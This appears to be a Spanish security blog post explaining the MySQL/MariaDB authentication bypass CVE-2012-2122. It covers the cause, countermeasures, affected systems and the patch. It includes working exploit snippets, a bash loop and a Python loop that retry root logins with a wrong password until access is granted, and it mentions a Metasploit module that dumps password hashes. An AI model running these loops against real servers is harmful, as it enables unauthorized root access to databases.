Evasión de autenticación en MySQL/MariaDB (CVE-2012-2122)

Sergei Golubchik, el coordinador de seguridad de MariaDB (un derivado de MySQL con licencia GPL), ha encontrado un serio bug en MySQL y MariaDB que podría permitir a un atacante evadir la autenticación de la base de datos. 

La vulnerabilidad identificada como CVE-2012-2122 puede afectar a todas las versiones 5.1.61, 5.2.11, 5.3.5, 5.5.22 y anteriores de ambos motores de base datos, siempre que hayan sido compiladas con librerías que permiten que la rutina memcmp() pueda llegar a devolver enteros fuera del rango de -128 a 127 (Linux glibc
sse-optimized
).


"Cuando un usuario se conecta a MariaDB/MySQL, se calcula un token (un hash SHA a partir de su contraseña y una cadena al azar) y se compara con el valor esperado. Debido a una serie de pruebas incorrectas, puede ocurrir que el token y el valor esperado se consideren iguales, incluso si la función memcmp() devuelve un valor distinto de cero. En este caso, MySQL/MariaDB puede pensar que la contraseña es correcta, aunque no lo sea. Debido a que el protocolo utiliza cadenas aleatorias, la probabilidad de provocar este error es de aproximadamente de 1 sobre 256."

"Esto significa que, si se conoce un nombre de usuario para conectarse (y el root casi siempre existe), podremos conectarnos con "cualquier" contraseña con repetidos intentos de conexión. Unos 300 intentos sólo nos llevaran una fracción de segundo, así que básicamente la protección con contraseña de la cuenta es como si no existiera. Además cualquier cliente puedo hacerlo, no hay necesidad de una biblioteca libmysqlclient especial".


Exploits:

Sencillamente, con la siguiente línea en bash obtendremos acceso a un servidor MySQL como root, sin llegar a saber la contraseña:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Otra forma fácil de ganar acceso como root, para los enamorados de Python y cortesía de Dave (ReL1K):

#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()


Y también encontraréis un módulo de Metasploit que utilizará este bug para dumpear automáticamente la tabla de contraseñas de la base de datos.

Contramedidas:

La primera regla para securizar MySQL es no exponer la base de datos en la red. La mayoría de las distribuciones de Linux configuran el acceso al demonio de MySQL sólo para localhost. En caso de que sea necesario habilitar el acceso remoto al servicio, MySQL también proporciona controles de acceso basados en host.

Lo más fácil es modificar el archivo my.cnf con el fin de restringir el acceso al sistema local. Busca la sección [mysqld] y cambia (o añade una nueva línea para configurar) el parámetro "bind-address" a "127.0.0.1". Reinicia el servicio de MySQL para aplicar esta configuración.


La siguiente recomendación claramente es actualizar o parchear la base de datos. Oracle ya corrigió el error en MySQL, bug id 64884, con las versiones MySQL 5.1.63 y 5.5.24, ambas publicadas hace un mes. La corrección aplicada es un único cambio en una línea; también hay un parche similar disponible para MariaDB. En breve, se espera que las distintas distribuciones de Linux vaya publicando parches para sus correspondientes versiones de MySQL.

Referencias:

 
CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability
CVE-2012-2122 : Mysql Authentication Bypass Exploit

Simple authentication bypass for MySQL root revealed 
CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL (comprobación de sistemas afectados)

Sistemas vulnerables:
  • Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
  • Fedora 16 64-bit ( via hexed )
  • Arch Linux (unspecified version)
Sistemas NO vulnerables:
  • Official builds from MySQL and MariaDB (including Windows)
  • Red Hat Enterprise Linux, CentOS (32-bit and 64-bit) [ not conclusive ]
  • Ubuntu Linux 32-bit (10.04, 11.10, 12.04, likely all)
  • Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
  • Debian Linux lenny 32-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.1.51-1-log ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.49-3-log ( via @matthewbloch )
  • Debian Linux squeeze 32-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Gentoo 64-bit 5.1.62-r1 ( via @twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a ( via @twit4c )

2 comentarios:

  1. Por lo que comentan, el bug no estaría propiamente en MySQL , sino en la implemetación de memcmp de algunos SO ¿ cierto ?

    ResponderEliminar
  2. @jmzc parece que depende de cómo se haya compilado el DBMS. Dependiendo de si memcmp() puede devolver un carácter firmado fuera del rango (-128 a 127) y parece que esto ocurre cuando GCC utiliza optimización SSE. Hemos actualizado la entrada ampliando información.

    ¡Gracias por el apunte!

    pd.

    Parche sql/password.c:
    return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);

    return test(memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE));

    ResponderEliminar